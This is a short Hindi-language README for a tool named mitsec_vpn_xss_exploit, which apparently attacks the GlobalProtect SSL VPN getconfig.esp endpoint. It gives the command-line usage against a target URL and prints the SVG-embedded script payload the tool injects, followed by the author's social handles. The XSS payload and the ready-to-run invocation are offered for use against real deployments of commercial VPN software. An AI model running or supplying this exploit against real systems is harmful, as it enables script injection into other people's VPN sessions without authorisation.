mitsec_vpn_xss_exploit

🔓 GlobalProtect SSL VPN एंडपॉइंट /ssl-vpn/getconfig.esp के लिए शोषण जो URL में एक निर्मित XSS पेलोड जोड़ता है।

उपयोग

python3 exploit.py -u https://target.com

पैरामीटर

• -u, --url: आधार लक्ष्य URL (क्वेरी पैरामीटर शामिल न करें)

पेलोड पूर्वावलोकन

<svg xmlns="http://www.w3.org/2000/svg"><script>prompt("mitsec")</script></svg>

लेखक

• GitHub: ynsmroztas
• Twitter: @ynsmroztas